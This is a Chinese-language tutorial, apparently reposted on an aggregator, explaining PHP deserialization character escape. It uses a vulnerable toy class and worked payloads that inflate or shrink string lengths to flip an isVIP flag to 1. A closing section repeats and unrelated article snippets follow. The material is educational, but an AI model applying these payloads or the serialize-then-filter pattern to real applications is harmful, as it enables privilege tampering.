php反序列化字符逃逸

news2024/11/17 3:48:16

php反序列化字符逃逸

php反序列化字符逃逸的原理

当开发者使用先将对象序列化,然后将对象中的字符进行过滤,最后再进行反序列化。这个时候就有可能会产生PHP反序列化字符逃逸的漏洞。

php反序列化字符逃逸分类

过滤后字符变多

过滤后字符变少

过滤后字符变多

我们先定义一个类 user ,成员变量 usernamepasswordisVIP,并且序列化

<?php
class user{
	public $username;
	public $password;
	public $isVIP;

	public function __construct($u,$p){
		$this->username = $u;
		$this->password = $p;
		$this->isVIP = 0;
	}
}
$obj = new user('admin','123456');
$obj = serialize($obj);
echo $obj;

输出:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们可以看到,我们user类的对象默认 isVIP=0,并且不受传入参数的影响

这时我们增加一个过滤:

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

完整代码:

<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}

$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;

输出:

O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

此时,admin在序列化串中已经变成了 hacker ,并且字符串长度比5多了一个,变成了6

我们对比一下两次的输出:

O:4:"user":3:{s:8:"username";s:5:"admin";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}//过滤前
O:4:"user":3:{s:8:"username";s:5:"hacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //过滤后

我们想要构造,将 isVIP的值变成 1,如何才能做到呢?admin位置现有字串与目标字串如下:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有字串
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标字串

我们知道,传入的admin位置是可控变量 ,所以我们需要在该位置插入目标字串,

目标字串的 "; 将admin参数位置处的双引号闭合,即可造成字符逃逸

但是我们admin参数位置处的字符串长度对应不上,由于我们需要逃逸出来的字符串为:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} 其长度为47.

这就导致我们admin传参位置的参数少了47长度,必须再添加47长度才行,但是怎么添加呢?

我们知道,每次过滤的时候,admin 会变为:hacker 长度加了1,所以我们传参时可以重复47次 admin。这样我们的参数就会增加47长度,再减去逃逸的47长度字符串,长度就合适了。

可控变量修改如下:

adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}

完整的代码为:

<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hacker",$obj);
}
$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}', "123456");
$a = serialize($a);
echo $a.PHP_EOL;
$a = filter($a);
echo $a;
print_r(unserialize($a));

输出:

O:4:"user":3:{s:8:"username";s:282:"adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}
O:4:"user":3:{s:8:"username";s:282:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}user Object
(
    [username] => hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker
    [password] => 123456
    [isVIP] => 1
)

反序列化后,多余的子串会被抛弃, 在大括号 } 之外的原先字串就被抛弃了:

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

我们观察反序列化之后的输出 isVIP=1,反序列化字符串逃逸已经成功了。

过滤后字符串变少

我们将上面过滤参数中 hacker 改为 hack,其余代码不变:

<?php
class user
{
    public $username;
    public $password;
    public $isVIP;

    public function __construct($u, $p)
    {
        $this->username = $u;
        $this->password = $p;
        $this->isVIP = 0;
    }
}

function filter($obj) {
    return preg_replace("/admin/","hack",$obj);
}

$obj = new user('admin','123456');
$obj = filter(serialize($obj));
echo $obj;

输出:

O:4:"user":3:{s:8:"username";s:5:"hack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

发现如果username值存在admin,会被替换为 hack ,长度减一

此处输出的username值的长度已经不符合5了

我们也要想办法构造,使得 isVIP=1 ,我们对比一下现有子串和目标子串:(长度为47)

";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;} //现有
";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;} //目标

php反序列化有一个特性:

当序列化字符串属性的长度不够时,会往后走,直到长度与规定的长度相等为止.

例如,此处序列化字符串属性值 hack 的长度为4,但是原本属性长度为5,所以会往后走1位,属性值为: hack" 把后面的双引号也算进去了。也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。

我们计算一下本可控变量末尾到下一可控变量的长度

";s:8:"password";s:6:"   //长度为22

因为每次过滤都会少一个字符,我们先将 admin重复22遍:

<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','123456');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

输出:

{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:6:"123456";s:5:"isVIP";i:0;}

img

也就是说123456这个地方成为了我们的可控变量,在123456可控变量的位置中添加我们的目标子串

";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}	//目标子串

即:

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');

我们构造对象,序列化后过滤,再输出:

O:4:"user":3:{s:8:"username";s:105:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105

20210820131653.png

造成这种现象的原因是:替换之前我们目标子串的位置是123456,一共6个字符,替换之后我们的目标子串显然超过10个字符,所以会造成计算得到的payload不准确

解决办法是:多添加2admin,这样就可以补上缺少的字符。长度再减2

最终代码:

<?php
class user{
public $username;
public $password;
public $isVIP;

public function __construct($u,$p){
$this->username = $u;
$this->password = $p;
$this->isVIP = 0;
}
}

function filter($s){
return str_replace("admin","hack",$s);
}

$a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin','";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}');
$a_seri = serialize($a);
$a_seri_filter = filter($a_seri);

echo $a_seri_filter;

输出结果:

O:4:"user":3:{s:8:"username";s:115:"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}";s:5:"isVIP";i:0;}

image-20210820130134043

这样长度就对上了。我们将反序列化后的对象输出:

user Object
(
    [username] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
    [password] => 123456
    [isVIP] => 1
)

此时 isVIP=1 ,字符逃逸成功!

参考文章:

PHP反序列化字符逃逸详解

对上了。我们将反序列化后的对象输出:

user Object
(
    [username] => hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:"password";s:47:"
    [password] => 123456
    [isVIP] => 1
)

此时 isVIP=1 ,字符逃逸成功!

参考文章:

PHP反序列化字符逃逸详解

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/139268.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Alma Linux和Rocky Linux,你会选择用哪个?

AlmaLinux和Rocky Linux是两个基于 Red Hat Enterprise Linux (RHEL) 发行版的免费开源操作系统&#xff0c;两者都旨在由社区驱动、透明且稳定&#xff0c;但两者之间存在一些关键差异。 Rocky Linux Rocky Linux 是一个基于 Red Hat Enterprise Linux (RHEL) 发行版的免费开…

Android 音视频学习之《MediaCodec》

一、介绍以及编解码流程 MediaCodec 类可用于访问低级媒体编解码器&#xff0c;即编码器/解码器组件。它是 Android 低级多媒体支持基础结构的一部分&#xff08;通常与MediaExtractor、MediaSync、MediaMuxer、MediaCrypto、 MediaDrm、Image、Surface和一起使用AudioTrack。…

060-MySQL数据库综合应用(实现登录及注册功能源代码)

【上一讲】059-MySQL数据库综合应用(实现登录及注册功能)_CSDN专家-赖老师(软件之家)的博客-CSDN博客 本文章讲解JAVA数据库技术与MySQL数据库结合使用,利用DAO技术对数据库操作进行封装,达到高内聚低耦合,具体技术如下: 1.综合利用JAVA数据库技术,掌握Connection,St…

操作系统第四次实验-基本分页存储管理(python代码实现)

一、实验目的&#xff1a; 目的&#xff1a;熟悉并掌握基本分页存储管理的思想及其实现方法&#xff0c;熟悉并掌握基本分页存储管理的分配和回收方式。 任务&#xff1a;模拟实现基本分页存储管理方式下内存空间的分配和回收。 二、实验内容&#xff1a; 1、实验内容 内存空间…

一道有意思的图论题

今天写这道题的过程就一直在摆&#xff0c;主要是写不太出来&#xff0c;之前想到动态规划去了&#xff0c;然后又开始深搜&#xff0c;在出口那块放动态规划 题&#xff1a; D. Ela and the Wiring Wizard 点我 但是cf让我明白了一个道理&#xff0c;任何一道我写不出来的题代…

点菜方案数

题目描述 不过uim的口袋里只剩 M元(M < 10000)&#xff0c;来到了一家低端餐馆前。 餐馆虽低端&#xff0c;但是菜品种类不少&#xff0c;有 N 种(N < 100)&#xff0c;第i种卖元(ai < 1000)。由于是很低端的餐馆所以每种菜只有一份。 uim奉行“不把钱吃光不罢休”&a…

作用域与作用域链

javascript拥有一套设计良好的规则来存储变量&#xff0c;并且之后可以方便的找到这些变量&#xff0c;这套规则叫做作用域。 内部原理 内部原理分成编译、执行、查询、嵌套和异常五部分。今天来简单说一下查询。 var a2;这行代码中&#xff0c;在引擎执行的第一步操作中&am…

【C++ Primer】阅读笔记(3):decltype

目录 简介decltype基础decltype需要注意的地方1.decltype处理顶层const、引用与auto不同2.如果decltype使用的表达式不是一个变量,则decltype返回表达式结果对应的类型。3.如果表达式的内容是解引用操作,则decltype会得到引用类型。4.对于decltype所用的表达式来说,如果变量…

Spring AOP统一功能处理

⭐️前言⭐️ 这篇文章主要介绍AOP&#xff08;Aspect Oriented Programming&#xff09;——面向切面编程的思想&#xff0c;它是对某一类事情的集中处理&#xff0c;也是对OOP&#xff08;Object Oriented Programming&#xff09;面向对象编程的补充和完善。 &#x1f349;…

【编程语言选择】我们学C++将来能做什么?

首先贴上C嘎嘎祖师爷的镇楼帅照&#x1f606; 凝视目录 什么是C C的使用广泛度 C的具体工作领域有什么 什么是C 简单说 C是基于C语言而产生的&#xff0c;它既可以进行C语言的过程化程序设计&#xff0c;又可以进行以抽象数据类型为特点的基于对象的程序设计&#xff0c;还可…

【区块链 | 前端】前端开发人员入门区块链的最佳实践

前端开发人员入门区块链的最佳实践 一. 建立信仰 从技术入门一个行业通常是漫无目的&#xff0c;个人认为正确的入行区块链的方式是去了解他的背景&#xff0c;是去建立自己信仰的&#xff0c;尤其身处一个刚起步就被扼杀的行业&#xff0c;我们每个人都是领头人&#xff0c;我…

06栈和队列

开始系统学习算法啦&#xff01;为后面力扣和蓝桥杯的刷题做准备&#xff01;这个专栏将记录自己学习算法是的笔记&#xff0c;包括概念&#xff0c;算法运行过程&#xff0c;以及代码实现&#xff0c;希望能给大家带来帮助&#xff0c;感兴趣的小伙伴欢迎评论区留言或者私信博…

[NOIP 2003] 栈(三种方法:DP、数论、搜索)

[NOIP2003 普及组] 栈 题目背景 栈是计算机中经典的数据结构&#xff0c;简单的说&#xff0c;栈就是限制在一端进行插入删除操作的线性表。 栈有两种最重要的操作&#xff0c;即 pop&#xff08;从栈顶弹出一个元素&#xff09;和 push&#xff08;将一个元素进栈&#xff…

5 个必须尝试的无代码应用

无代码软件让任何人无需了解编程语言即可构建产品、网站和应用程序。Editor XWix 发布了Editor X&#xff0c;这是一款无需编写任何 CSS &#xff08;层叠样式表&#xff09;或 HTML&#xff08;超文本标记语言&#xff09;代码的新型拖放式网站构建器&#xff0c;为设计师和机…

如何把可观测需求落地为业务大盘?

2022 年 9 月 28 日&#xff0c;阿里云用户组&#xff08;AUG&#xff09;第 11 期活动在深圳举办。活动现场&#xff0c;阿里云技术专家李加贝向参会企业代表分享了如何把可观测需求落地为业务大盘的议题。本文根据现场分享内容整理而成。 为什么需要 Grafana&#xff1f; 演…

智能合约Smart Contract技术详解

文章目录合约编写基本介绍构造方法ipfsmint提现白名单合约前端部署验证合约代码前端和合约交互准备工作获取已经mint了的数量mint合约编写 建议读者先了解下solidity&#xff0c;这里推荐CryptoZombies&#xff0c;还是比较详细的。 ok当你大概知道自己在做什么之后&#xff0…

【概率论】期末复习笔记:假设检验

假设检验目录一、假设检验的基本概念1. 假设检验的基本原理2. 两类错误3. 假设检验的一般步骤4. ppp值二、正态总体参数的假设检验σ2已知&#xff0c;检验μ与μ0的关系\color{dodgerblue}\sigma^2\text{已知&#xff0c;检验}\mu\text{与}\mu_0\text{的关系}σ2已知&#xff…

上海华清远见

解析设备树节点信息实例1获取属性数值实例2获取u32类型的值将获取到的u32类型的值存放在array数组中

什么是许可式邮件营销?

邮件是很多企业日常中用到的信息传播工具&#xff0c;并且它还具备了成本低、长期性等优点&#xff0c;所以很多企业选择使用邮件作为载体进行营销推广。而在进行邮件营销的时候&#xff0c;不同的方式和技巧也会影响到最终的营销效果。为了达到较好的营销效果&#xff0c;很多…

Seata应用

下载seata-server 下载地址&#xff1a;Tags seata/seata GitHub 配置Seata-server 第一步&#xff1a;配置seata-server数据源 E:\seata-server-1.4.2\seata\seata-server-1.4.2\conf\file.conf 第二步&#xff1a;创建seata数据库 create database seata 第三步&#xf…